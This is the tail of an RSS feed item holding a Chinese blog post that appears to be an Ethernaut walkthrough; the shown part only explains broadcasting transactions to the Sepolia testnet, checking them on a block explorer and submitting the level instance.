</code></pre><p><code>--broadcast</code> 这个是把交易广播到链上。</p><p>这个运行之后可能会等待一会，最后出现一堆 hash，去 sepolia 浏览器看看有没有全部成功，如果成功之后你就可以回到 ethernaut 页面点击 <strong>Submit Instance</strong> 了。</p><p>之后最上面的解析字就会变化，我们就成功拿下了！</p><br><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/f56d36745c82b7d356f26e6248befcf2a0292216191f6920934eb82936c325f9.png" alt="{231BB684-1DFC-4C3A-9C99-BA5E735DD921}" blurdataurl="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAALCAIAAACRcxhWAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAB4klEQVR4nLWSTW/TMBjHLQ4ckBAnDpz4kFz5AHyWcWJDQ2JbF2VZXWrZdUJdN07cVG3e5mZZmShtCVWQ624NEi+XIf0Ofz+y/X/ewJvXrwAAzx6DJ+DBePoIAABevnieMAS+ZeE6H1Vq/OAsM7nKJBjAszGF5ahfhN5MuDNBtrjbIylCr8lMuEpQJej25t+4GfWHHSvlCIxp+3bKKxWt89EPNd4Uk7qMKxVVKtoUk1Umv19pXalolclKRXUZm3hdxg2m5uGehZoJN/eJNvCRJZB9cfQ25SjAtkC2JI7nnAxgC7feW4cHkjgC2fbRwQC2POckIpcx69bzdM+XrF6oTaFtDPU8VYJqg4i2U444bEni5D4xf8WsO+l/mridADsmzuBZgG0fWT3rmMHTiQsDbHN4PoBnEW1L4jB4+jXxTX2/GmzT4fBcEidhaNjR1UiqgzHrphwrQW+nPPd7ZgC530s5UoJe+STjOGFIiyGOWXeVyd9VQC4luehZH7of3ylOAmwH2KHW8Uy4Kce6fJ3UtC6Tu/7eC6P1BdOo5grVZZL7vZ2BHt26qJdFvVA7lsWus2Vzkk2aNnfMkz1LdR162kAge0xhEXpm+cwW3ut/ruOfuA4/h8jWBjcjtu01+h+sMvkTur1OLIpsBrcAAAAASUVORK5CYII=" nextheight="277" nextwidth="838" class="image-node embed"><figcaption htmlattributes="[object Object]" class="hide-figcaption"></figcaption></figure><br>]]></content:encoded>
            <author>ccboom@newsletter.paragraph.com (ccboomer)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/0edddf28e3910f0a3cbe876eb040541f0c6f5d1f1b99ca4adfc4f5dd01e4cf69.jpg" length="0" type="image/jpg"/>
        </item>
    </channel>
</rss>